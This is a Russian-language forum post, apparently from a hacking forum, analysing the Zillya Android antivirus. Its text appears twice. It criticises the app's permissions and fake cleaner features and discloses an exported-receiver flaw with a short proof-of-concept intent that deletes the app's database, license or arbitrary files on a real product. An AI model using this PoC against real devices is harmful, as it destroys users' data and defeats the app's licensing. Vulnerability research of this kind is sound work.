Меня заинтересовал под разбор один антивирус 'Zillya' Украинского производства который 'Сертифицированный для использования государственными органами'что также указано на их сайте
а также как заявлено его использует 'Высший административный суд Украины' собственно должно сложиться впечетление о каком-то серьезном продукте
По итогу анализа это оказалось абсолютно не так и я бы пересмотрел сертификацию данного проекта как минимум его android направления (по поводу windows я ничего не скажу)
В статье разберу этот дырявый ужас с различных сторон
1. Интересно это как в теории можно использовать это приложение?
смотрим разрешения:
и также AccessibilityService
На первый вгляд какой-то юмор мол антивирус решил засунуть в manifest миллион разрешений как у малвари (смутил Accesibility и миллион ресиверов) но оказалось нет - он их реально использует =/
Это просто какой потенциал для потенциальной малвари которой Zillya не является но при небольшой модификации (учитывая что вообще никаких защит у самого приложения нет - проверки целостности какой-то минимальной)
может дать функции полноценной малвари и даже мощнее чем Octagon который запрашивает только Accessibility а тут целый набор возможностей с полным легитимным обоснованием
Тут тебе и HVNC/VNC/OTP/SMS/GPS/CAMERA так еще и DEVICE ADMIN в придачу чтобы телефон заблокировать ну вообщем миллион всякого возможного ужаса
а значит что устанавливать такое не через Google Play Store самоубийство учитывая что на официальном сайте нельзя это сделать - ХОТЯ кнопка скачать .Apk есть (просто ничего не происходит)
2. Шизофренический бред
Оптимизатор батареи фейк с рандомными числами
Очиститель памяти удаляет ВСЕ файлы из Downloads
MemoryResultFragment.gatherDataToClean() добавляет в список каждый файл из папки Загрузки:
Файлы из Downloads добавляются с extension = null. Это значит
deleteRecursive удалит любой выбранный файл или папку целиком, включая вложения, документы, APK.
Дополнительно сканируются кеши ВСЕХ установленных приложений на внешнем хранилище:
Это только часть полнейшего шизофренического бреда в этом так называемом 'антивирусе'
3. 0Day - уязвимости (одна из многих)
В процессе анализа я заметил AntivirusNotificationReceiver с android:exported="true" и без никакого intent-filter!
а значит что любое приложение может просто взять отправить intent на приложение через setComponent() точно указав и свормулировав
AntivirusNotificationReceiver.onReceive() выполняется в процессе Zillya с UID Zillya.
File.delete() работает с правами Zillya, а не с правами 'атакующего' через какой-то intent
А значит что у нас теперь есть в руках возможности удалять файлы через File.delete() ибо это чудо имеет разрешение на WRITE_EXTERNAL_STORAGE
Вот у нас теперь есть 0Day который может:
0Day PoC:
Ну а также не забудьте добавить
(Если создаете приложение для теста)
Можно в теории проэксплуатировать уязвимость даже не через другое приложение - КСТАТИ за это люди еще и деньги платят там подписка даже есть какая-то которая обходиться этим же 0Day - просто удалите базу самолично
Вот такая вот небольшая статья вышла про антивирус Zillya у которого 100тыс+ скачиваний в Google Play
Честно надоело анализировать такую срань даже но там на самом деле дыр/странностей миллион и почему-то отзывы в основном о этом чуде положительные - Мб если кому-то интересно продолжить то могу еще покопаться в этом дерьме ну а пока я буду смотреть ждать от вас фидбек интересно или нет
Telegram: https://t.me/kitkat_android
Telegram Channel: https://t.me/+Wgp_qBBovDU3MjEy
Я есть на Xss/Duty/Exploit - AndroidKitKat
(Сверяйте контакты)
а также как заявлено его использует 'Высший административный суд Украины' собственно должно сложиться впечетление о каком-то серьезном продукте
Не удалось прогрузить медиа
По итогу анализа это оказалось абсолютно не так и я бы пересмотрел сертификацию данного проекта как минимум его android направления (по поводу windows я ничего не скажу)
В статье разберу этот дырявый ужас с различных сторон
1. Интересно это как в теории можно использовать это приложение?
смотрим разрешения:
JSON:
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.USE_FINGERPRINT"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
<uses-permission android:name="com.android.vending.BILLING"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
и также AccessibilityService
На первый вгляд какой-то юмор мол антивирус решил засунуть в manifest миллион разрешений как у малвари (смутил Accesibility и миллион ресиверов) но оказалось нет - он их реально использует =/
- AccessibilityService: Чтение URL из браузеров для анализа (п****ц) -
- ACCESS_BACKGROUND_LOCATION: Использует для проверки на кражу (ахуеть) -
- DEVICE ADMIN: Заблокировать краденное устройство - DeviceAdminHelper.java
- amera: Сфотографировать вора - SilentPhotoActivity.java
Это просто какой потенциал для потенциальной малвари которой Zillya не является но при небольшой модификации (учитывая что вообще никаких защит у самого приложения нет - проверки целостности какой-то минимальной)
может дать функции полноценной малвари и даже мощнее чем Octagon который запрашивает только Accessibility а тут целый набор возможностей с полным легитимным обоснованием
Тут тебе и HVNC/VNC/OTP/SMS/GPS/CAMERA так еще и DEVICE ADMIN в придачу чтобы телефон заблокировать ну вообщем миллион всякого возможного ужаса
а значит что устанавливать такое не через Google Play Store самоубийство учитывая что на официальном сайте нельзя это сделать - ХОТЯ кнопка скачать .Apk есть (просто ничего не происходит)
2. Шизофренический бред
Оптимизатор батареи фейк с рандомными числами
Java:
BatteryStartFragment при нажатии "Оптимизировать":
BatteryStartFragment.java
private void lambda$onViewCreated$0(View view) {
Intent intent = new Intent("android.intent.action.POWER_USAGE_SUMMARY");
if (getContext().getPackageManager().resolveActivity(intent, 0) != null) {
startActivity(intent);
}
// больше ничего не происходит
}
Никакой оптимизации нет. Приложение просто открывает штатный экран батареи Android и всё. Когда пользователь возвращается показывается результат:
BatteryResultFragment.java
// PlaybackStateCompat.ACTION_SET_CAPTIONING_ENABLED = 8192L
long jRandom = this.ram / 8192L;
if (jRandom > 100) {
jRandom = (long) ((Math.random() * 20.0d) + 80.0d); // ← РАНДОМ 80-100
}
layout.minutes.setText(String.format("+%d %s", jRandom, "минут"));
Java:
BatteryProgressFragment.onViewCreated() при этом абсолютно пустой:
java@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
}
Очиститель памяти удаляет ВСЕ файлы из Downloads
MemoryResultFragment.gatherDataToClean() добавляет в список каждый файл из папки Загрузки:
Java:
javaFile downloads = Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_DOWNLOADS);
File[] files = downloads.listFiles();
if (files != null) {
for (File file : files) {
arrayList.add(new CacheEntityItem(
file.getName(),
null,
FileUtils.getPathSize(file),
file,
null,
false
));
}
}
При нажатии "Очистить" вызывается
cleanCache()
FileUtils.deleteRecursive():
javapublic static void deleteRecursive(File fileOrDirectory, String extension) {
if (fileOrDirectory.isDirectory()) {
for (File child : fileOrDirectory.listFiles()) {
deleteRecursive(child, extension);
}
}
if (extension == null) {
fileOrDirectory.delete();
}
}
Файлы из Downloads добавляются с extension = null. Это значит
deleteRecursive удалит любой выбранный файл или папку целиком, включая вложения, документы, APK.
Дополнительно сканируются кеши ВСЕХ установленных приложений на внешнем хранилище:
Java:
javafor (ApplicationInfo app : pm.getInstalledApplications(1152)) {
File cacheDir = new File(
Environment.getExternalStorageDirectory(),
"/Android/data/" + app.packageName + "/cache/"
);
}
Это только часть полнейшего шизофренического бреда в этом так называемом 'антивирусе'
3. 0Day - уязвимости (одна из многих)
В процессе анализа я заметил AntivirusNotificationReceiver с android:exported="true" и без никакого intent-filter!
а значит что любое приложение может просто взять отправить intent на приложение через setComponent() точно указав и свормулировав
AntivirusNotificationReceiver.onReceive() выполняется в процессе Zillya с UID Zillya.
File.delete() работает с правами Zillya, а не с правами 'атакующего' через какой-то intent
А значит что у нас теперь есть в руках возможности удалять файлы через File.delete() ибо это чудо имеет разрешение на WRITE_EXTERNAL_STORAGE
Вот у нас теперь есть 0Day который может:
- Удалить базу данных Zillya
- Сбросить лицензию Zillya
- Удалить какой-то файл с телефона
0Day PoC:
Java:
private static final String TAG = "ZillyaPoC";
private static final String ZILLYA_PKG = "com.zillya.scanner";
private static final String RECEIVER_CLASS =
"com.zillya.security.fragments.antivirus.service.AntivirusNotificationReceiver";
private static final String ACTION_DELETE = "ANTIVIRUS_DELETE";
private static final String EXTRA_FILE = "VIRUS_FILE";
private Uri mediaStoreUri;
private String realFilePath; //sdcard/Download/poc_test.txt
Java:
Intent intent = new Intent();
intent.setComponent(new ComponentName(ZILLYA_PKG, RECEIVER_CLASS));
intent.setAction(ACTION_DELETE);
intent.putExtra(EXTRA_FILE, ZILLYA_PREFS);
Ну а также не забудьте добавить
Java:
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"
(Если создаете приложение для теста)
Можно в теории проэксплуатировать уязвимость даже не через другое приложение - КСТАТИ за это люди еще и деньги платят там подписка даже есть какая-то которая обходиться этим же 0Day - просто удалите базу самолично
Вот такая вот небольшая статья вышла про антивирус Zillya у которого 100тыс+ скачиваний в Google Play
Честно надоело анализировать такую срань даже но там на самом деле дыр/странностей миллион и почему-то отзывы в основном о этом чуде положительные - Мб если кому-то интересно продолжить то могу еще покопаться в этом дерьме ну а пока я буду смотреть ждать от вас фидбек интересно или нет
Telegram: https://t.me/kitkat_android
Telegram Channel: https://t.me/+Wgp_qBBovDU3MjEy
Я есть на Xss/Duty/Exploit - AndroidKitKat
(Сверяйте контакты)
Не удалось прогрузить медиа
👍51
😮14
👏4
🤔12
LIMB